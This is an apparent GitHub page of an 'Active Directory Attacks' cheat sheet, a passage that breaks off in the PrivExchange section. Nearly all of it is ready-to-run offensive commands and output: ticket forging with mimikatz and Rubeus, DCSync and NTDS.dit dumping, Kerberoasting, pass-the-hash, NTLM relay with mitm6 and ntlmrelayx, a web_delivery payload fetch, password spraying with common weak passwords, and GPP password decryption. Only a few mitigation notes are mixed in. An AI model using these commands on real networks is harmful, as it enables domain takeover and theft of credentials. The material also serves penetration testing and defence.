Skip to content
Branch: master
Find file Copy path
Find file Copy path
3 contributors

Users who have contributed to this file

@swisskyrepo @op01 @Zeecka
1353 lines (1016 sloc) 59.1 KB

Active Directory Attacks



  • Impacket or the Windows version

  • Responder

  • Mimikatz

  • Ranger

  • BloodHound

    apt install bloodhound #kali
    neo4j console
    Go to, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
    SharpHound.exe (from resources/Ingestor)
    SharpHound.exe -c all -d active.htb --domaincontroller
    Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
    bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
  • AdExplorer

  • CrackMapExec

    apt-get install -y libssl-dev libffi-dev python-dev build-essential
    git clone --recursive
    crackmapexec smb -L
    crackmapexec smb -M name_module -o VAR=DATA
    crackmapexec -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
    crackmapexec -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
    crackmapexec -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
    crackmapexec -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
    crackmapexec -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST= LPORT=4443
    crackmapexec -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
    crackmapexec -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
    crackmapexec smb -u user -p 'Password' --local-auth -M mimikatz
    crackmapexec mimikatz --server http --server-port 80
  • Mitm6

    git clone && cd mitm6
    pip install .
    mitm6 -d lab.local -wh -t smb:// -i
    # -wh: Server hosting WPAD file (Attacker’s IP)
    # -t: Target (You cannot relay credentials to the same device that you’re spoofing)
    # -i: open an interactive shell
  • PowerSploit

    powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''); Invoke-AllChecks"
    powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('');"
  • Active Directory Assessment and Privilege Escalation Script

    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 
  • Ping Castle

    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
    pingcastle.exe --healthcheck --server domain.local
    pingcastle.exe --graph --server domain.local
    pingcastle.exe --scanner scanner_name --server domain.local
    available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup
  • Kerbrute

    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
  • Rubeus

    Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
    Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
    Rubeus.exe klist [/luid:LOGINID]
    Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
  • AutomatedLab

    New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
    Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

# loc
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
Guest          S-1-5-21-3415849876-833628785-5197346142-501   
Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
Guest          S-1-5-21-297520375-2634728305-5197346142-501   
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
lambda         S-1-5-21-297520375-2634728305-5197346142-1110 

# powerview
Convert-NameToSid high-sec-corp.localkrbtgt

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
git clone
python ./ -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ -u -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d
python ./ -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\"

⚠️ If the clock is skewed use clock-skew.nse script from nmap

Linux> $ nmap -sV -sC
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16" 
Windows> net time /domain /set

Open Shares

smbmap -H                # null session
smbmap -H -R             # recursive listing
smbmap -H -u invaliduser # guest smb session
smbmap -H -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18


pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //$
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file


smbclient -I -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk      
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files

Download a folder recursively

smbclient -U username //
smbclient //
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *

Mount a share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder

SCF and URL file attack against writeable share

Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0


This attack also works with .url files and responder -I eth0 -v.


GPO - Pivoting with Local Admin & Passwords in SYSVOL

🚩 GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL (MS14-025)

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Metasploit modules to enumerate shares and credentials


Crackmapexec modules

cme smb -u Administrator -H 89[...]9d -M gpp_autologin
cme smb -u Administrator -H 89[...]9d -M gpp_password

List all GPO for a domain

Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all


Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

Using ndtsutil

ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit


ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Using Vshadow

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

You can also use the Nishang script, available at :

Import-Module .\Copy-VSS.ps1
Copy-VSS -DestinationDir C:\ShadowCopy\

Using vssadmin

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

Using DiskShadow (a Windows signed binary)

diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%

NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak

Using esentutl.exe

Copy/extract a locked file such as the AD Database

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./ -dc-ip IP AD\administrator@domain -use-vss
./ -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@

Alternatives - modules

Metasploit modules


PowerSploit module

Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit

CrackMapExec module

cme smb -u username -p password --ntds vss
cme smb -u username -p password --ntds drsuapi #default

Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.

mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt

⚠️ Read-Only Domain Controllers are not allowed to pull password data for users by default.

Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller. ⚠️ Requires administrator access with debug or Local SYSTEM rights

lsadump::lsa /inject /name:krbtgt

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

root@kali:~$ ./kerbrute_linux_amd64 userenum -d usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain_users.txt Password123
root@kali:~$ python -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt

Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.

crackmapexec smb -u Administrator -p `(./mp64.bin Pass@wor?l?a)`

Using RDPassSpray to target RDP services.

python3 -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]

Using hydra and ncrack to target RDP services.

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://

Most of the time the best passwords to spray are :

  • Password123
  • Welcome1
  • $Companyname1 : $Microsoft1
  • SeasonYear : Winter2019*

Password in AD User comment

enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID

or dump the Active Directory and grep the content.

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd -o ~/Documents/AD_DUMP/

Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to, and the krbtgt ntlm hash must be used.

Using Mimikatz

# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt

Using Meterpreter

# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_use /root/Downloads/pentestlabuser.tck

Using a ticket on Linux

# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./ -k -no-pass -dc-ip AD/administrator@ 

If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.

root@kali:ticket_converter$ python velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Pass-the-Ticket Silver Tickets

Forging a TGS require machine accound password (key) or NTLM hash from the KDC

# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./ -k -no-pass -dc-ip AD/administrator@ 


"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (TGS) for any domain service with GetUserSPNs. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

$ active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip -request

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 


Alternatively with Rubeus

.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt

Alternatively on macOS machine you can use bifrost

./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true

Then crack the ticket with hashcat or john

hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst


  • Have a very long password for your accounts with SPNs
  • Make sure no users have SPNs

KRB_AS_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting


  • Accounts have to have DONT_REQ_PREAUTH
C:\>git clone
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/


[*] Action: AS-REP roasting

[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local

[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:


C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast

Using impacket to get the hash and hashcat to crack it.

# extract hashes
root@kali:impacket-examples$ python jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

# crack AS_REP messages
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 


The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

use exploit/windows/smb/psexec
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp

or with crackmapexec

cme smb -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb ... 

or with psexec

proxychains python ./ jarrieta@ -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash then you can connect to the machine using the TGT.

Using impacket

root@kali:impacket-examples$ python ./ -hashes :1a59bd44fe5bec39c44c8cd3524dee
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

also with the AES Key if you have it
root@kali:impacket-examples$ ./ -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx

ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM

Using Rubeus

C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

python -I eth0

Then crack the hash with hashcat

hashcat -m 5600 -a 0 hash.txt crackstation.txt

NTLMv2 hashes relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash Hashcat Attack method
LM 3000 crack/pass the hash
NTLM/NTHash 1000 crack/pass the hash
NTLMv1/Net-NTLMv1 5500 crack/relay attack
NTLMv2/Net-NTLMv2 5600 crack/relay attack

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets

SMB Signing Disabled and IPv4

If a machine has SMB signing:disabled, it is possible to use Responder with script to perform an NTLMv2 hashes relay and get a shell access on the machine.

  1. Open the Responder.conf file and set the value of SMB and HTTP to Off.
    [Responder Core]
    ; Servers to start
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off
  2. Run python -i IP_Range to detect machine with SMB signing:disabled.
  3. Run python -I <interface_card> and python -t <target_machine_IP> -u ALL
  4. Also you can use ntlmrelayx to dump the SAM database of the targets in the list. -tf targets.txt
  5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
    $ -tf /tmp/targets.txt -socks -smb2support
    [*] Servers started, waiting for connections
    Type help for list of commands
    ntlmrelayx> socks
    Protocol  Target          Username                  Port
    --------  --------------  ------------------------  ----
    $ proxychains smbclient // -U contoso/normaluser1
    $ proxychains contoso/normaluser1@ -windows-auth


  • Disable LLMNR via group policy
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
  • Disable NBT-NS
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP

SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

cme smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials -6 -wh $attacker_ip -of loot -tf relay.txt
or -6 -wh $attacker_ip -l /tmp -socks -debug

Drop the MIC

The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with cve-2019-1040-scanner

[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
  • Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD

    TERM1> python testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
    TERM2> --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
    TERM1> testsegment/ntu@s2016dc.testsegment.local -just-dc
  • Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

    # create a new machine account
    TERM1> -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
    TERM2> python relaytest.local/testuser@second-dc-server
    TERM1> -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
    # connect using the ticket
    export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache -k -no-pass second-dc-server.local -just-dc

Ghost Potato - CVE-2019-1384


  • User must be a member of the local Administrators group
  • User must be a member of the Backup Operators group
  • Token must be elevated

Using a modified version of ntlmrelayx :

ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, " or set "adminCount" attribute to 0 for the required objec


Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"

Trust relationship between domains

nltest /trusted_domains



SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.


  • KRBTGT Hash

  • Find the SID of the domain

    $ Convert-NameToSid\krbtgt
  • Replace 502 with 519 to represent Enterprise Admins

  • Create golden ticket and attack parent domain.

    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

Unconstrained delegation

The user sends a TGS to access the service, along with their TGT, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user. -

Find delegation

Check the TrustedForDelegation property.

# From
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}


$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*"   
grep TRUSTED_FOR_DELEGATION domain_computers.grep

NOTE: Domain controllers usually have unconstrained delegation enabled

Monitor with Rubeus

Monitor incoming connections from Rubeus.

Rubeus.exe monitor /interval:1 

Force a connect back from the DC

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface

# From
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Then you can use DCsync or another attack : Mimikatz> lsadump::dcsync /user:HACKER\krbtgt


  • Ensure sensitive accounts cannot be delegated
  • Disable the Print Spooler Service

Resource-Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B.

  1. Import Powermad and Powerview

    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
  2. Get user SID

    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    ConvertFrom-SID $ACE.SecurityIdentifier
  3. Abuse MachineAccountQuota to create a computer account and set an SPN for it

    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
  4. Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties

    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
  5. Use Rubeus to get hash from password

    Rubeus.exe hash /password:'Weakest123*' /user:swktest  /domain:factory.lan
    [*] Input password             : Weakest123*
    [*] Input username             : swktest
    [*] Input domain               : factory.lan
    [*] Salt                       : FACTORY.LANswktest
    [*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
    [*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
    [*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
    [*]       des_cbc_md5          : BA297CFD07E62A5E
  6. Impersonate domain admin using our newly created machine account

    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
    [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
    [*] Using domain controller: DC01-WW2.factory.lan (
    [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
    [*] Sending S4U2proxy request
    [+] S4U2proxy success!
    [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
    [*] Action: Import Ticket
    [+] Ticket successfully imported!

Relay delegation with mitm6


  • IPv6 enabled (Windows prefers IPV6 over IPv4)
  • LDAP over TLS (LDAPS)

ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

git clone 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
then use rubeus with s4u to relay the delegation

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
⚠️ You need a shell on a user account with a mailbox.

  1. Exchange server hostname or IP address

    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
